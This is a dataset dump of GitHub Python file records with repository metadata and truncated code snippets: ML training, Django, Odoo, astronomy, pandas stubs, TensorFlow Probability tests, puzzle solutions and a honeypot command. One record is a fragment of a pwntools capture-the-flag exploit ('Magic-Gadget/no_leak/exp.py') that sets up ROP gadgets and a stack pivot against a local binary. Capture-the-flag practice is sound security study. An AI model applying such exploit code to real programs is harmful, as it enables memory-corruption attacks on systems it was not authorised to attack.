null
null
null
null
UTF-8
Python
false
false
30,534
py
import argparse import os import shutil import time import yaml import numpy as np import pandas as pd import torch from torch.utils.data import DataLoader from dataset import get_dataset from model import get_model from model.tools import count_parameters, safe_model_state_dict from optimizer import get_optimizer fr...
[ "tom.monnier@hotmail.fr" ]
tom.monnier@hotmail.fr
289ed07c2d34f1c2fa11b9a08671259d2bd67cdf
59820c85d556746fc73809ebb63407dc293df990
/onebreak/classify.py.bk
52800baf346b2dcf07580a387b934f2591afe45f
[]
no_license
friend1ws/onebreak
790524363be2527eb60f5430b92e769ea6d5b9f0
7be6540237ad8b0c4522af4c465c24808c3ec063
refs/heads/master
2021-06-15T22:14:09.770558
2021-05-26T01:20:55
2021-05-26T01:20:55
203,367,577
0
2
null
2021-05-26T01:20:56
2019-08-20T12:02:39
Python
UTF-8
Python
false
false
19,454
bk
#! /usr/bin/env python from annot_utils.junction import * from annot_utils.gene import * from annot_utils.exon import * import pysam def classify_canonicalSV(input_file, output_file): """ function for selecting canonical SV from contig results """ hout = open(output_file, 'w') with open(input_f...
[ "friend1ws@gmail.com" ]
friend1ws@gmail.com
bd26412a2ff3d563c85d287a094a074367f49759
c64bb34a3dde14d3c9bf813bde414a7b3f10611d
/job_costing11/oh_employee_creation_from_user/models/employee_creation_from_user.py
ed57c39534910707ccb174f95fe3a17f2942dd39
[]
no_license
sm2x/my_work
ebf2e1abd06191ee59b0d82a23534274a81a3195
efc469aee4cd20b038d48d4c09f8257f3f04ba1c
refs/heads/master
2021-01-07T20:41:45.254025
2020-02-12T16:02:46
2020-02-12T16:02:46
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,937
py
# -*- coding: utf-8 -*- ################################################################################### # A part of Open HRMS Project <https://www.openhrms.com> # # Cybrosys Technologies Pvt. Ltd. # Copyright (C) 2018-TODAY Cybrosys Technologies (<https://www.cybrosys.com>). # Author: Nilmar Shereef (<h...
[ "ragaamaherhanna@gmail.com" ]
ragaamaherhanna@gmail.com
a47c8792a11bc3ab6e23bf579e4273dd10d3a302
7bc3a0c647d1216b2ff5a236f5d32418cf22a405
/pipeline/observing.py
90b639d1dc3c46ddcc1105cd17d1e3948bce6cbf
[]
no_license
andycasey/apf-reduction-pipeline
8bbb45122ab498656ac665f215d909fac110e26c
767c8c35c365518d7c046aad8afd4cc273541370
refs/heads/master
2020-05-31T22:39:07.499877
2015-03-01T18:44:20
2015-03-01T18:44:20
29,261,414
0
0
null
null
null
null
UTF-8
Python
false
false
1,877
py
# coding: utf-8 """ Classes for dealing with a sequence of data frames. """ from __future__ import division, print_function __author__ = "Andy Casey <arc@ast.cam.ac.uk>" # Standard library import logging # Third-party from astropy.io import fits from astropy.table import Table # Create logger logger = logging.get...
[ "andycasey@gmail.com" ]
andycasey@gmail.com
d262c636c692ca60e8edc1d6c46a438d53591075
b986d1fbd65a067d4691a231d415f96a6ada5a3e
/tasks/admin.py
990e59fe77f3ce8dd62ef31e0fe3cf55e5ac0f4e
[]
no_license
srajsonu/Todo-Django
68289e95615a00cbb6301e51469bd338ba6b9021
c9f025a0cc155c0b85670b7ff54b4b8c3f63b529
refs/heads/master
2022-12-19T00:42:50.750901
2020-09-19T19:51:15
2020-09-19T19:51:15
296,369,907
0
0
null
null
null
null
UTF-8
Python
false
false
1,256
py
from django.contrib import admin from django.utils import timezone from . import models # Register your models here. def mark_complete(model_admin, request, queryset): queryset.update( status=models.Task.TaskStatus.COMPLETED, completed_at=timezone.now(), ) mark_complete.short_description = 'M...
[ "srajsonu02@gmail.com" ]
srajsonu02@gmail.com
20d4fe31bb4a269098ef36cf0edefd8e5a31c1fc
505f1c36d931d4388a0a4f8c57fbd8bd9ab4d821
/ImageAnalysis/ImageAnalysis/python/source/image_parsing/image_split.py
1aa89072d7aa0951474ee772d2ec26d5276afc21
[ "MIT" ]
permissive
mikebourbeauart/perler-printer
9e43a51b82cb9b08d35c81e680ea7ef2624fda2e
8c5023de6bb9b3cbe2bc28c1c823030dfd708db4
refs/heads/master
2022-12-01T18:46:37.632443
2020-05-04T00:41:11
2020-05-04T00:41:11
98,070,537
0
1
MIT
2022-11-22T05:58:34
2017-07-23T02:49:35
Python
UTF-8
Python
false
false
3,038
py
''' Splits an image up into pegboard sized regions. .. todo:: add an image showing what it means to split up a region .. note:: Any region that is too small for a pegboard will be accounted for, so any size image can be parsed. ''' from __future__ import print_function import os import json import logging from PIL...
[ "borbs727@gmail.com" ]
borbs727@gmail.com
753e680846518ae6afbddf1d21fa45e0bb9bece5
9743d5fd24822f79c156ad112229e25adb9ed6f6
/xai/brain/wordbase/nouns/_octopuses.py
c7b5ae6446187acc19aacc1474977f130c97de01
[ "MIT" ]
permissive
cash2one/xai
de7adad1758f50dd6786bf0111e71a903f039b64
e76f12c9f4dcf3ac1c7c08b0cc8844c0b0a104b6
refs/heads/master
2021-01-19T12:33:54.964379
2017-01-28T02:00:50
2017-01-28T02:00:50
null
0
0
null
null
null
null
UTF-8
Python
false
false
247
py
from xai.brain.wordbase.nouns._octopus import _OCTOPUS #calss header class _OCTOPUSES(_OCTOPUS, ): def __init__(self,): _OCTOPUS.__init__(self) self.name = "OCTOPUSES" self.specie = 'nouns' self.basic = "octopus" self.jsondata = {}
[ "xingwang1991@gmail.com" ]
xingwang1991@gmail.com
cef5f0c007251f6271ac1cd3f616e2832eb053de
6f1c96b2a1136ac4a0c4917ddb08099d94fd2601
/backend/msm_sgshsjhjsh4799__13434/wsgi.py
3f2c756483381306028d55e7b4be06ee15beb7e4
[]
no_license
crowdbotics-apps/msm-sgshsjhjsh4799--13434
b3d8ddca6345e2800e4206a8880bcb190e6f620b
86cdc88e5e581f334f8fe06af277e1aa57a1bf3c
refs/heads/master
2022-12-30T13:56:16.223212
2020-10-16T03:43:55
2020-10-16T03:43:55
304,511,932
0
0
null
null
null
null
UTF-8
Python
false
false
427
py
""" WSGI config for msm_sgshsjhjsh4799__13434 project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/2.2/howto/deployment/wsgi/ """ import os from django.core.wsgi import get_wsgi_application os.environ.setdef...
[ "team@crowdbotics.com" ]
team@crowdbotics.com
177d9c4a4a727488c2bb86c8f7c9814d3404239c
c8a04384030c3af88a8e16de4cedc4ef8aebfae5
/stubs/pandas/tests/frame/test_period.pyi
bd44eaf8d300f32a529c18f5f7f95772c7d86f75
[ "MIT" ]
permissive
Accern/accern-xyme
f61fce4b426262b4f67c722e563bb4297cfc4235
6ed6c52671d02745efabe7e6b8bdf0ad21f8762c
refs/heads/master
2023-08-17T04:29:00.904122
2023-05-23T09:18:09
2023-05-23T09:18:09
226,960,272
3
2
MIT
2023-07-19T02:13:18
2019-12-09T20:21:59
Python
UTF-8
Python
false
false
890
pyi
# Stubs for pandas.tests.frame.test_period (Python 3) # # NOTE: This dynamically typed stub was automatically generated by stubgen. # pylint: disable=unused-argument,redefined-outer-name,no-self-use,invalid-name # pylint: disable=relative-beyond-top-level,line-too-long,arguments-differ # pylint: disable=no-member,too-f...
[ "josua.krause@gmail.com" ]
josua.krause@gmail.com
db884473f930afd8e5d235080c8ca9fad5bd0748
0f36e8e33efa363d7e9642268d28fbd4d06b56b3
/arxivmail/__init__.py
5ba21882911a04189d9eba5cfb512762bfd88a55
[ "MIT" ]
permissive
dfm/ArXivMailer
7c6eaf09314582870c24c6d5e28d88d55d193f29
f217466b83ae3009330683d1c53ba5a44b4bab29
refs/heads/master
2023-07-22T11:30:28.812807
2016-06-23T16:11:10
2016-06-23T16:11:10
61,644,402
1
0
null
null
null
null
UTF-8
Python
false
false
810
py
# -*- coding: utf-8 -*- import flask import random __all__ = ["create_app"] def before_first_request(): pass def page_not_found(e): return flask.render_template( "404.html", bg_img="https://images.unsplash.com/gifs/fail/fail-{0}.gif".format( random.randint(1, 9) ) ),...
[ "danfm@nyu.edu" ]
danfm@nyu.edu
758e93086f49e5aa7861d2f985b0494709195d36
f191d2c1910b1f1916e63986bcbfdff1b740c51c
/cowrie/commands/which.py
8433c8b1689e3e9570921f006fd52adc25ddf302
[]
no_license
benzeng/cowrie
9201c42bfa32ac0508aaca4458a04e4c9c9a5d3a
1f75df68279f255a82532655104e7e2ff4b967a5
refs/heads/master
2020-12-11T07:34:19.980805
2015-12-19T08:01:09
2015-12-19T08:01:09
null
0
0
null
null
null
null
UTF-8
Python
false
false
797
py
# Copyright (c) 2013 Bas Stottelaar <basstottelaar [AT] gmail [DOT] com> from cowrie.core.honeypot import HoneyPotCommand commands = {} class command_which(HoneyPotCommand): # Do not resolve args resolve_args = False def call(self): """ Look up all the arguments on PATH and print each (first) re...
[ "michel@oosterhof.net" ]
michel@oosterhof.net
d4434a507d82c09fe9f815a89a8ec6fc7525649f
6f890d49ffd7fb695b2ce67cada56f4e1c7117a0
/Lecture 12/scc.py
73d7d783f83a49e914b0b302f04acb2610c62adb
[]
no_license
xuanzhao/algorithm-design-analysis-Coursera_stanford-
139f8037946c6751d56bad56e08379a74bc25fb3
920aa4daaae65bfd50cfea2c4fb0caa43e9b3333
refs/heads/master
2021-01-15T09:10:38.366420
2017-10-05T11:14:50
2017-10-05T11:14:50
68,298,667
0
0
null
null
null
null
UTF-8
Python
false
false
3,619
py
#This script computes the strong connected components(SCC) of a given graph. import sys import time import heapq import resource from itertools import groupby from collections import defaultdict #set rescursion limit and stack size limit sys.setrecursionlimit(10 ** 6) resource.setrlimit(resource.RLIMIT_STACK, (2 ** 2...
[ "xuanzhao89@gmail.com" ]
xuanzhao89@gmail.com
9d092eccc3c745f32a58909376c046a04fa14333
e16a7f48b19fff565360de9be95597182e606199
/BASIC-PROGRAMS/mul.py
d47758b426eb290b054fdb2b8aab5a5f14f4e2a1
[]
no_license
ManojKrishnaAK/python-codes
fe3510025681925171b80953c888d76d3459f01e
d2e68515e7000d8f401a7eda1182218e7b5c04a8
refs/heads/master
2020-06-13T02:01:57.334759
2019-06-30T09:02:56
2019-06-30T09:02:56
194,495,696
0
0
null
null
null
null
UTF-8
Python
false
false
148
py
#program to cal mul of two nos a=4 b=5 c=5 d=a*b*c print("val of a="+str(a)); print("val of b="+str(b)); print("val of c="+str(c)); print("mul=",d)
[ "you@example.com" ]
you@example.com
f693b2701b6a8cede2639c0665bd83db01cf4775
03b067d3afe67fade777c7f8f44e46dac3a899fa
/gumby/line_receiver.py
5ad9d466fc27813282fc183730d5461ed5a01c2a
[]
no_license
Tribler/gumby
3ede1c86392224d644ad25dd4204a63305d9125f
00efa309f6cd9cf99aad95d430c5a686f267792d
refs/heads/devel
2022-10-29T19:37:27.426186
2022-10-17T12:24:53
2022-10-17T12:24:53
10,665,607
9
32
null
2022-10-15T14:58:09
2013-06-13T12:27:16
Python
UTF-8
Python
false
false
1,780
py
import logging from asyncio import DatagramProtocol class LineReceiver(DatagramProtocol): _buffer = b'' _busy = False delimiter = b'\r\n' MAX_LENGTH = 16384 def __init__(self): self._logger = logging.getLogger(self.__class__.__name__) self.transport = None def connection_made...
[ "mdmartijndevos@gmail.com" ]
mdmartijndevos@gmail.com
1c8146f79c09b28d0a6a26d9cec15ecd462bac29
c036a364d6be1a790712ba806026efb53a0678ac
/2020/04/26/Magic/Magic-Gadget/no_leak/exp.py
19e33a905e1edc22ad9c1b4fe95a02c6aebf95b2
[]
no_license
iTassel/iTassel.github.io
b197ee8d5c725967b24bd07e7b538951cd60e4d6
f67693ad68c614112b9c622879de1696856e6ab6
refs/heads/master
2021-06-26T20:24:03.312447
2021-04-04T04:01:03
2021-04-04T04:01:03
226,534,478
1
0
null
null
null
null
UTF-8
Python
false
false
1,202
py
from pwn import* from LD import* p = process('./main') elf =ELF('./main') libc = ELF('./libc-2.30.so',checksec=False) gadget_reg = 0x4005CA gadget_call= 0x4005B0 magic_gadget = 0x400518 pop_rdi_ret = 0x4005D3 pop_rsi_r15 = 0x4005D1 leave_ret = 0x400564 buf_address = elf.bss() + 0x500 fini = 0x4005E0 init = 0x400570 ma...
[ "root@localhost.localdomain" ]
root@localhost.localdomain
618df4abb5a143620f2d0f13a08c242bc85fefed
3be42b83a15d022f5863c96ec26e21bac0f7c27e
/tensorflow_probability/python/distributions/beta_binomial_test.py
585723cfd2775e88f97b33f295a4d5fe47ae6c18
[ "Apache-2.0" ]
permissive
ogrisel/probability
846f5c13cddee5cf167b215e651b7479003f15d2
8f67456798615f9bf60ced2ce6db5d3dba3515fe
refs/heads/master
2022-11-09T10:53:23.000918
2020-07-01T23:16:03
2020-07-01T23:17:25
276,580,359
2
1
Apache-2.0
2020-07-02T07:37:58
2020-07-02T07:37:57
null
UTF-8
Python
false
false
13,552
py
# Copyright 2020 The TensorFlow Probability Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law o...
[ "gardener@tensorflow.org" ]
gardener@tensorflow.org
c3df5713cdcdf3da12b481a3344dd53480224a04
8dd03969dc642ff6bd7666494a4c9ece80d6e597
/tests/test.py
28703b33f9927d4dff60db836d8369e683716b0e
[ "BSD-3-Clause" ]
permissive
Vanuan/mini-pysonar
0b8207a6ec793d09b69eb66e7de54d58d6e7e68c
17ec582ac865ecf63406cc0d87463b5347e15021
refs/heads/master
2021-01-15T23:06:55.475597
2013-07-11T00:07:26
2013-07-11T00:07:26
10,940,321
4
0
null
2013-07-02T17:31:43
2013-06-25T14:20:28
Python
UTF-8
Python
false
false
72
py
def foo(arg=lambda name: name + '!'): x = arg('hi') print x.lower()
[ "vanuan@gmail.com" ]
vanuan@gmail.com
340bf31a2405754d4e4d9232613b4380ffe58a78
afc8d5a9b1c2dd476ea59a7211b455732806fdfd
/Configurations/ggH_SF/Full2017_v6/dyestim_ggH_DATA.py
59ccf8b73a5815f73bcacaefa63757cece95a309
[]
no_license
latinos/PlotsConfigurations
6d88a5ad828dde4a7f45c68765081ed182fcda21
02417839021e2112e740607b0fb78e09b58c930f
refs/heads/master
2023-08-18T20:39:31.954943
2023-08-18T09:23:34
2023-08-18T09:23:34
39,819,875
10
63
null
2023-08-10T14:08:04
2015-07-28T07:36:50
Python
UTF-8
Python
false
false
15,195
py
#RAndKff = {} RAndKff['DYmva0p8'] = { 'RFile' : 'rootFile/plots_DYESTIM2017_DYMVA090_v6.root' , 'KffFile' : 'rootFile/plots_DYESTIM2017_DYMVA080_v6.root' , 'Regions' : { '0jee' : { 'kNum' : '0j_ee_in/eve...
[ "davide.di.croce@cern.ch" ]
davide.di.croce@cern.ch
2700f2e204ab537e6c9b83d9f465b20a06ec0567
7f6f27540e4f1315e07a2069d5adb572ce487dec
/arcpy/extract_values_to_points.py
ebcea610a58b7a3ea9fdd9debc8db45551d88cab
[]
no_license
JohnWRRC/Scripts_em_geralGrasspyArcpy
5db023f95035518fa64ade3f05cbf12a495f2aaf
2fc400b5ab8f893fe7b07bcfc44dc61469198897
refs/heads/master
2020-06-04T07:49:02.062564
2015-04-21T18:55:21
2015-04-21T18:55:21
34,345,920
1
0
null
null
null
null
UTF-8
Python
false
false
861
py
# -*- coding: utf-8 -*- # --------------------------------------------------------------------------- # extract_values_to_points.py # Created on: 2014-11-28 11:00:58.00000 # (generated by ArcGIS/ModelBuilder) # Description: # --------------------------------------------------------------------------- # Import arcpy...
[ "jw.ribeiro.rc@gmail.com" ]
jw.ribeiro.rc@gmail.com
5c0e8799c1cc0edfae275f509852e189b4e2b6dc
440c2f17a64b718227bbc9ac1f799630d0f3233d
/Chapter12UnionFind/lc721.py
72351689517dfd084f2f330e160614497603b031
[]
no_license
HuichuanLI/alogritme-interview
6fc84fdbfe1123c1e587eaf2df6b6e9fb2ca7dda
0ac672a1582707fcaa6b6ad1f2a1d927034447df
refs/heads/master
2023-02-05T03:29:14.458783
2020-12-25T14:04:17
2020-12-25T14:04:17
206,583,220
1
0
null
null
null
null
UTF-8
Python
false
false
898
py
from collections import defaultdict class UF: def __init__(self): self.parent = {} def find(self, x): self.parent.setdefault(x, x) while x != self.parent[x]: x = self.parent[x] return x def union(self, p, q): self.parent[self.find(p)] = self.find(q) ...
[ "lhc14124908@163.com" ]
lhc14124908@163.com
23ab6e0083f28e880f254d181329311a4de26bb5
781e2692049e87a4256320c76e82a19be257a05d
/all_data/exercism_data/python/series/ffa78946a2c74012a2f9e0b08e697388.py
5c069894487ac8d122c2ee3af5ef34085828596b
[]
no_license
itsolutionscorp/AutoStyle-Clustering
54bde86fe6dbad35b568b38cfcb14c5ffaab51b0
be0e2f635a7558f56c61bc0b36c6146b01d1e6e6
refs/heads/master
2020-12-11T07:27:19.291038
2016-03-16T03:18:00
2016-03-16T03:18:42
59,454,921
4
0
null
2016-05-23T05:40:56
2016-05-23T05:40:56
null
UTF-8
Python
false
false
394
py
def slices(number_string, series_length): number_length = len(number_string) if not number_string.isnumeric(): raise ValueError if series_length > number_length or series_length < 1: raise ValueError return [[int(number_string[i + j]) for j in range(series_l...
[ "rrc@berkeley.edu" ]
rrc@berkeley.edu
0ab4044a9f86ac2691dba0cfcc8c2e3b78db498d
c99d73192c7ef56850c375be6a640b91f41398e5
/django_tutorial/settings.py
d7eb8ee91f694af2777569516f9cf52448feed1e
[]
no_license
gyaresu/django_tutorial
2030b4985590cc690c8c5a99ee43d120c4dd444d
1b30cb6d91149df361e9a3a38afc69cbaba8d31d
refs/heads/master
2021-01-10T11:32:41.123816
2016-03-13T15:52:47
2016-03-13T15:52:47
53,731,066
0
0
null
2016-03-13T15:17:23
2016-03-12T12:42:01
Python
UTF-8
Python
false
false
3,236
py
""" Django settings for django_tutorial project. Generated by 'django-admin startproject' using Django 1.9.4. For more information on this file, see https://docs.djangoproject.com/en/1.9/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/1.9/ref/settings/ """ impo...
[ "me@gareth.codes" ]
me@gareth.codes
e6abaf3308715a716819818686a37aedeba79749
ca7aa979e7059467e158830b76673f5b77a0f5a3
/Python_codes/p03487/s023464764.py
57fbc81878d66b558559fac20d373a10d903f9ca
[]
no_license
Aasthaengg/IBMdataset
7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901
f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8
refs/heads/main
2023-04-22T10:22:44.763102
2021-05-13T17:27:22
2021-05-13T17:27:22
367,112,348
0
0
null
null
null
null
UTF-8
Python
false
false
315
py
n = int(input()) a = list(map(int, input().split())) num_map = dict() for i in range(n): if a[i] not in num_map: num_map[a[i]] = 1 else: num_map[a[i]] += 1 res = 0 for key, value in num_map.items(): if key <= value: res += value - key else: res += value print(res)
[ "66529651+Aastha2104@users.noreply.github.com" ]
66529651+Aastha2104@users.noreply.github.com
a6bfe101a9396f8fb2a30bbc1a2da0ccab6b6b06
10ddfb2d43a8ec5d47ce35dc0b8acf4fd58dea94
/Python/ambiguous-coordinates.py
628d79a837ddc7a32f15ba1cfa243d52ccc202f4
[ "MIT" ]
permissive
kamyu104/LeetCode-Solutions
f54822059405ef4df737d2e9898b024f051fd525
4dc4e6642dc92f1983c13564cc0fd99917cab358
refs/heads/master
2023-09-02T13:48:26.830566
2023-08-28T10:11:12
2023-08-28T10:11:12
152,631,182
4,549
1,651
MIT
2023-05-31T06:10:33
2018-10-11T17:38:35
C++
UTF-8
Python
false
false
726
py
# Time: O(n^4) # Space: O(n) import itertools class Solution(object): def ambiguousCoordinates(self, S): """ :type S: str :rtype: List[str] """ def make(S, i, n): for d in xrange(1, n+1): left = S[i:i+d] right = S[i+d:i+n] ...
[ "kamyu104@gmail.com" ]
kamyu104@gmail.com
cf068b13141b5dba3cf9cb5d55e06a4546168967
f07a42f652f46106dee4749277d41c302e2b7406
/Data Set/bug-fixing-3/2c567ec96934eba1165e964dea2510b1191ecddd-<round>-fix.py
947728b1de8ad0c7c8e35e704b2d74013e8385a6
[]
no_license
wsgan001/PyFPattern
e0fe06341cc5d51b3ad0fe29b84098d140ed54d1
cc347e32745f99c0cd95e79a18ddacc4574d7faa
refs/heads/main
2023-08-25T23:48:26.112133
2021-10-23T14:11:22
2021-10-23T14:11:22
null
0
0
null
null
null
null
UTF-8
Python
false
false
743
py
@tf_export('round') def round(x, name=None): 'Rounds the values of a tensor to the nearest integer, element-wise.\n\n Rounds half to even. Also known as bankers rounding. If you want to round\n according to the current system rounding mode use tf::cint.\n For example:\n\n ```python\n x = tf.constant([0.9, 2.5...
[ "dg1732004@smail.nju.edu.cn" ]
dg1732004@smail.nju.edu.cn
1bf74786276edfbb82cf8629a1fc00515fcf52bd
09e5cfe06e437989a2ccf2aeecb9c73eb998a36c
/modules/dxtbx/example/resolution_corners.py
ad6001cbf05f700581e11356966b55f3db3344cc
[ "BSD-3-Clause" ]
permissive
jorgediazjr/dials-dev20191018
b81b19653624cee39207b7cefb8dfcb2e99b79eb
77d66c719b5746f37af51ad593e2941ed6fbba17
refs/heads/master
2020-08-21T02:48:54.719532
2020-01-25T01:41:37
2020-01-25T01:41:37
216,089,955
0
1
BSD-3-Clause
2020-01-25T01:41:39
2019-10-18T19:03:17
Python
UTF-8
Python
false
false
1,022
py
"""Print out the resolution (two-theta) of the corners of the detector""" from __future__ import absolute_import, division, print_function import math import sys from scitbx import matrix import dxtbx def resolution_corners(frame): """Compute the resolution limit corresponding to the corners of the detector ...
[ "jorge7soccer@gmail.com" ]
jorge7soccer@gmail.com
3ca83c6e8afdf03795b7872a681c4bb2afba3d56
9a819fc91e17ef9a44e45cf68e76cf696381d06d
/cdk_examples/cdk.out/asset.aa3f7731e88a5b05f5e913a8866b11aace1850d76d8ded3da06dc70cf4e8b7be/dynamo_stream.py
2cd4c7107c777a41018e46799927fa953492af8e
[]
no_license
Gautam3994/Dark-Knight
aef1d6383e0785130db75e80ed40f544a120579e
327b2d58851a42da1b707addea73e40fac6a61cc
refs/heads/master
2022-12-01T11:58:39.857379
2020-09-05T18:07:51
2020-09-05T18:07:55
203,866,327
0
1
null
2022-11-24T09:16:18
2019-08-22T20:14:43
Python
UTF-8
Python
false
false
95
py
import json import boto3 def handler(event, context): print(json.dumps(event, indent=2))
[ "gautam3994@gmail.com" ]
gautam3994@gmail.com
0182a1e68775a7957bec77fb6160285a6fc9bc23
ca7aa979e7059467e158830b76673f5b77a0f5a3
/Python_codes/p03311/s859695176.py
d5e7fe19517de974eea8d3865ce7bf2d34b81de3
[]
no_license
Aasthaengg/IBMdataset
7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901
f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8
refs/heads/main
2023-04-22T10:22:44.763102
2021-05-13T17:27:22
2021-05-13T17:27:22
367,112,348
0
0
null
null
null
null
UTF-8
Python
false
false
233
py
def solve(): ans = 0 N = int(input()) A = list(map(int, input().split())) for i in range(N): A[i] -= i+1 B = sorted(A) p = B[N//2] for i in range(N): A[i] = abs(A[i]-p) ans = sum(A) return ans print(solve())
[ "66529651+Aastha2104@users.noreply.github.com" ]
66529651+Aastha2104@users.noreply.github.com
8b31906e1030362631674167dd15622f030748e3
6d128bfa075bc42e669b1d0f0aa36c7e835064cc
/Python Day 13/Grading System/Subject.py
a000343b66d945b458d816321ffeafbc9a11881e
[]
no_license
thecodevillageorg/intro-to-python
f41acb18614d3724ba17aa5e0d929374386bd831
45492f629c1bb8dc3bdb98e41d833f1f4d4bcb4d
refs/heads/master
2022-11-05T02:34:05.776597
2020-06-17T17:08:35
2020-06-17T17:08:35
266,867,927
0
1
null
2020-06-17T13:41:15
2020-05-25T19:53:11
Python
UTF-8
Python
false
false
153
py
class Subject(): def __init__(self,subject_name, subject_score ): self.subject_name = subject_name self.subject_score = subject_score
[ "nickmwangemi@gmail.com" ]
nickmwangemi@gmail.com
e3058001c08fcfe355a0534383e4e03840c26ec4
a4a35795b7fbc16e9444e5d00ae74bbdd7064282
/src/data/models/gameuser.py
b8c770d978524394a532e291adb62ce7dce517a9
[]
no_license
PeterB8421/flask
b8ac170070c80e9fafa97ad6b023508af6d24ade
31cac80e855fe08fde8a3efa135f09768b0d97ac
refs/heads/master
2020-03-28T23:11:00.645693
2018-10-16T11:48:01
2018-10-16T11:48:01
149,271,665
0
0
null
null
null
null
UTF-8
Python
false
false
1,673
py
from flask_login import UserMixin from sqlalchemy.schema import Column from sqlalchemy.types import Boolean, Integer, String, Date from ..database import db from ..mixins import CRUDModel from ..util import generate_random_token from ...settings import app_config from ...extensions import bcrypt class GameUser(CRUDMo...
[ "you@example.com" ]
you@example.com
9818f0e63f9b0c45c9dcb71c59a28f89b85268eb
65d693c3c4e12c1930182b82e894bec6b25541f8
/tasks.py
978a3b99cc2574ecef007e17c57a4e009716e024
[ "CC0-1.0", "LicenseRef-scancode-public-domain" ]
permissive
dwillis/openFEC
3c53b82e68cbb0948a19209a91be8df5a7277b16
dae84b0e526eac4a917e80697a7999956f9c96cb
refs/heads/develop
2021-01-17T22:15:06.587053
2015-08-19T20:52:42
2015-08-19T20:52:42
41,208,529
2
0
null
2015-08-22T13:36:24
2015-08-22T13:36:23
null
UTF-8
Python
false
false
5,974
py
import git from invoke import run from invoke import task DEFAULT_FRACTION = 0.5 FULL_TABLES = [ 'dimdates', 'dimparty', 'dimyears', 'dimoffice', 'dimreporttype', ] EXCLUDE_TABLES = [ '*_mv', '*_tmp', '*_old', 'sched_b2', 'sched_e2', 'pacronyms', 'ofec_*', ] # Include r...
[ "jm.carp@gmail.com" ]
jm.carp@gmail.com
38d14469122a60d875f9948e07ffb4017a0762e6
0e86bacb4bc26a7116ce149749c0664783a9149f
/ethilcheyuu/functionpgm1.py
aff11c5234dee203ff8528533ff2784aa71bca5f
[]
no_license
BijithKaladharan/luminarpython
db1b08f016fb92760a7c553e02bb86f55135efcc
071ecaca9a18106bc5cb0058877d041898550b5c
refs/heads/master
2023-02-22T06:54:55.508591
2021-01-30T13:23:36
2021-01-30T13:23:36
315,543,178
0
0
null
null
null
null
UTF-8
Python
false
false
127
py
def add(num1,num2): res=num1+num2 print(res) def mul(num1,num2): res=num1*num2 print(res) add(10,20) mul(50,2)
[ "bijithkachu12@gmail.com" ]
bijithkachu12@gmail.com